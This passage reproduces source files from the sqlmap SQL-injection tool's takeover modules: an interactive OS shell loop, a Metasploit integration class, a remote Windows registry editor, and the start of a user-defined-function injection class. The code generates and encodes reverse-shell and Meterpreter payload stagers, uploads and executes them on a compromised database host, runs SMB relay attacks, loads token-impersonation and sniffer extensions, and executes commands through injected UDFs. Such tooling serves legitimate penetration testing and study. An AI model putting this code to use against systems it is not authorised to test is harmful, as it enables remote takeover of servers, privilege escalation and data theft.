while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.runCmd(command)
self.__cmdShellCleanup()
def initEnv(self, mandatory=True, detailed=False):
if self.envInitialized:
return
self.checkDbmsOs(detailed)
if not self.isDba():
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInjectCmd()
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory)
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg

693
lib/takeover/metasploit.py Normal file
View File

@@ -0,0 +1,693 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
import stat
import sys
import time
from select import select
from subprocess import PIPE
from subprocess import Popen as execute
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import pollProcess
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import setNonBlocking
from lib.request.connect import Connect as Request
from lib.takeover.upx import upx
class Metasploit:
"""
This class defines methods to call Metasploit for plugins.
"""
def __initVars(self):
self.connectionStr = None
self.lhostStr = None
self.rhostStr = None
self.portStr = None
self.payloadStr = None
self.encoderStr = None
self.payloadConnStr = None
self.resourceFile = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
self.__msfPayloadsList = {
"windows": {
1: ( "Meterpreter (default)", "windows/meterpreter" ),
2: ( "Shell", "windows/shell" ),
3: ( "VNC", "windows/vncinject" ),
},
"linux": {
1: ( "Shell", "linux/x86/shell" ),
}
}
self.__msfConnectionsList = {
"windows": {
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
},
"linux": {
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
}
}
self.__msfEncodersList = {
"windows": {
1: ( "No Encoder", "generic/none" ),
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
10: ( "Non-Upper Encoder", "x86/nonupper" ),
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
}
}
self.__msfSMBPortsList = {
"windows": {
1: ( "139/TCP (default)", "139" ),
2: ( "445/TCP", "445" ),
}
}
self.__portData = {
"bind": "remote port number",
"reverse": "local port number",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
opSys = "windows"
else:
opSys = "linux"
message = "which %s do you want to use?" % msg
if lst:
for num, data in lst[opSys].items():
description = data[0]
if num > maxValue:
maxValue = num
if "(default)" in description:
default = num
message += "\n[%d] %s" % (num, description)
else:
message += " [%d] " % default
choice = readInput(message, default="%d" % default)
if not choice:
if lst:
choice = str(default)
else:
return default
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
return self.__skeletonSelection(msg, lst, maxValue, default)
elif int(choice) > maxValue or int(choice) < 1:
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
return self.__skeletonSelection(msg, lst, maxValue, default)
choice = int(choice)
if lst:
choice = lst[opSys][choice][1]
return choice
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True):
if isinstance(encode, str):
return encode
elif kb.os == "Windows" and encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True):
if kb.os == "Windows" and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can abuse Windows "
infoMsg += "Access Tokens via Meterpreter 'incognito' "
infoMsg += "extension to privilege escalate"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
else:
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
if __payloadStr == "windows/vncinject":
choose = False
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC "
debugMsg += "injection will be successful"
logger.debug(debugMsg)
elif kb.dbms == "PostgreSQL":
choose = True
warnMsg = "by default PostgreSQL on Windows runs as "
warnMsg += "postgres user, it is unlikely that the VNC "
warnMsg += "injection will be successful"
logger.warn(warnMsg)
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
choose = True
warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because usually Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
if choose:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
message += "[2] Fall back to Meterpreter payload (default)\n"
message += "[3] Fall back to Shell payload"
while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
__payloadStr = "windows/meterpreter"
break
elif choice == "3":
__payloadStr = "windows/shell"
break
elif choice == "1":
if kb.dbms == "PostgreSQL":
logger.warn("beware that the VNC injection might not work")
break
elif not askChurrasco:
logger.warn("beware that the VNC injection might not work")
break
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco()
if not uploaded:
warnMsg = "beware that the VNC injection "
warnMsg += "might not work"
logger.warn(warnMsg)
break
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2:
logger.warn("invalid value, it must be 1 or 2")
return __payloadStr
def __selectPort(self):
for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def __selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
if not address:
address = self.remoteIP
return address
elif self.connectionStr.startswith("reverse"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
if not address:
address = self.localIP
return address
elif self.connectionStr.startswith("bind"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload(askChurrasco)
self.encoderStr = self.__selectEncoder(encode)
if self.payloadStr == "linux/x86/shell":
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
if self.payloadStr == "windows/vncinject":
self.__cliCmd += " DisableCourtesyShell=1"
if self.connectionStr.startswith("bind"):
self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self):
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False, askChurrasco=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"):
self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n"
self.resourceFp = open(self.resourceFile, "w")
self.resourceFp.write(self.__resource)
self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows" or extra == "BufferRegister=EAX":
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self.__payloadCmd += " %s" % extra
else:
self.__payloadCmd += " X > %s" % outFile
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework 3 command line "
infoMsg += "interface locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', wait.."
logger.info(infoMsg)
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.."
logger.info(infoMsg)
if kb.os != "Windows":
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows":
return
if self.resourceFile is not None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("getuid\n")
proc.stdin.write("use espia\n")
proc.stdin.write("use incognito\n")
proc.stdin.write("use priv\n")
proc.stdin.write("use sniffer\n")
if conf.privEsc:
print
infoMsg = "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token'"
logger.info(infoMsg)
proc.stdin.write("list_tokens -u\n")
def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
proc_out_fd = proc.stdout.fileno()
setNonBlocking(proc_out_fd)
while True:
returncode = proc.poll()
if returncode is None:
# Child hasn't exited yet
pass
else:
logger.debug("connection closed properly")
return returncode
try:
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
if stdin_fd in ready_fds[0]:
try:
proc.stdin.write(blockingReadFromFD(stdin_fd))
except IOError:
# Probably the child has exited
pass
if proc_out_fd in ready_fds[0]:
out = blockingReadFromFD(proc_out_fd)
blockingWriteToFD(sys.stdout.fileno(), out)
# For --os-pwn and --os-bof
pwnBofCond = self.connectionStr.startswith("reverse")
pwnBofCond &= "Starting the payload handler" in out
# For --os-smbrelay
smbRelayCond = "Server started" in out
if pwnBofCond or smbRelayCond:
func()
if "Starting the payload handler" in out and "shell" in self.payloadStr:
if kb.os == "Windows":
proc.stdin.write("whoami\n")
else:
proc.stdin.write("uname -a ; id\n")
metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess:
self.__loadMetExtensions(proc, metSess.group(1))
except EOFError:
returncode = proc.wait()
return returncode
def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.__initVars()
self.__prepareIngredients(encode=encode, askChurrasco=False)
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows" or extra == "BufferRegister=EAX":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
if payloadSize:
payloadSize = int(payloadSize.group(1))
if extra == "BufferRegister=EAX":
payloadSize = payloadSize / 2
debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
raise sqlmapFilePathException, errMsg
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath)
def createMsfPayloadStager(self, initialize=True):
if initialize:
infoMsg = ""
else:
infoMsg = "re"
infoMsg += "creating Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
if kb.os == "Windows":
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
# Metasploit developers added support for the old exe format
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
# This is useful for sqlmap because on PostgreSQL it is not
# possible to write files bigger than 8192 bytes abusing the
# lo_export() feature implemented in sqlmap.
if kb.dbms == "PostgreSQL":
self.__fileFormat = "exe-small"
else:
self.__fileFormat = "exe"
else:
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.__fileFormat = "elf"
if initialize:
self.__initVars()
if self.payloadStr is None:
self.__prepareIngredients()
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
if payloadSize:
payloadSize = payloadSize.group(1)
exeSize = os.path.getsize(self.exeFilePathLocal)
# Only pack the payload stager if the back-end DBMS is not
# PostgreSQL because for this DBMS, sqlmap uses the
# Metasploit's old exe format
if self.__fileFormat != "exe-small":
packedSize = upx.pack(self.exeFilePathLocal)
else:
packedSize = None
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize and packedSize < exeSize:
debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize
else:
debugMsg += "as a portable executable its size is "
debugMsg += "%s bytes" % exeSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
os.unlink(self.exeFilePathLocal)
def pwn(self, goUdf=False):
if goUdf:
exitfunc = "thread"
func = self.__runMsfShellcodeRemote
else:
exitfunc = "process"
func = self.__runMsfPayloadRemote
self.__runMsfCli(exitfunc=exitfunc)
if self.connectionStr.startswith("bind"):
func()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
logger.debug(debugMsg)
if not goUdf:
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
def smb(self):
self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd()
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return "
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
logger.debug(debugMsg)
os.unlink(self.resourceFile)
def bof(self):
self.__runMsfCli(exitfunc="seh")
if self.connectionStr.startswith("bind"):
self.spHeapOverflow()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg)

133
lib/takeover/registry.py Normal file
View File

@@ -0,0 +1,133 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
class Registry:
"""
This class defines methods to read and write Windows registry keys
"""
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
self.__regKey = regKey
self.__regValue = regValue
self.__regType = regType
self.__regData = regData
self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
if parse:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
self.__batRead = (
"@ECHO OFF\r\n",
readParse
)
self.__batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
)
self.__batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
)
def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w")
if self.__operation == "read":
lines = self.__batRead
elif self.__operation == "add":
lines = self.__batAdd
elif self.__operation == "delete":
lines = self.__batDel
for line in lines:
self.__batPathFp.write(line)
self.__batPathFp.close()
def __createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self.__batPathRemote)
self.__createLocalBatchFile()
self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False)
os.unlink(self.__batPathLocal)
def readRegKey(self, regKey, regValue, parse=False):
self.__operation = "read"
self.__initVars(regKey, regValue, parse=parse)
self.__createRemoteBatchFile()
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
if not parse:
first = len(regKey) + 6
else:
first = None
data = self.evalCmd(self.__batPathRemote, first)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
return data
def addRegKey(self, regKey, regValue, regType, regData):
self.__operation = "add"
self.__initVars(regKey, regValue, regType, regData)
self.__createRemoteBatchFile()
debugMsg = "adding registry key value '%s' " % self.__regValue
debugMsg += "to registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
def delRegKey(self, regKey, regValue):
self.__operation = "delete"
self.__initVars(regKey, regValue)
self.__createRemoteBatchFile()
debugMsg = "deleting registry key value '%s' " % self.__regValue
debugMsg += "from registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)

369
lib/takeover/udf.py Normal file
View File

@@ -0,0 +1,369 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.agent import agent
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class UDF:
"""
This class defines methods to deal with User-Defined Functions for
plugins.
"""
def __init__(self):
self.createdUdf = set()
self.udfs = {}
self.udfToCreate = set()
def __askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
return True
else:
return False
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
return True
else:
return False
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
overwrite = True
if exists:
overwrite = self.__askOverwriteUdf(udf)
if overwrite:
self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True)
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_exec"
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True)
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_eval"
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
if isinstance(output, (list, tuple)):
output = output[0]
return output
def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCmd(self):
errMsg = "udfInjectCmd() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
if udf in self.createdUdf:
continue
self.udfCheckAndOverwrite(udf)
if len(self.udfToCreate) > 0:
self.udfSetRemotePath()
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet)
if kb.dbms == "MySQL":
supportTblType = "longtext"
elif kb.dbms == "PostgreSQL":
supportTblType = "text"
self.udfCreateSupportTbl(supportTblType)
def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
raise sqlmapUnsupportedFeatureException(errMsg)
stackedTest()
if not kb.stackedTest:
return
self.checkDbmsOs()
if self.isDba() == False:
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "which is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn("you need to specify the local path of the shared library")
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default=1)
if isinstance(udfCount, str) and udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
elif isinstance(udfCount, int):
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if kb.dbms == "MySQL":
defaultType = "string"
elif kb.dbms == "PostgreSQL":
defaultType = "text"
self.udfs[udfName]["input"] = []
default = 1
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: %d) " % (udfName, default)
while True:
parCount = readInput(msg, default=default)
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
parCount = int(parCount)
break
elif isinstance(parCount, int):
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType)
if isinstance(parType, str) and parType.isdigit():
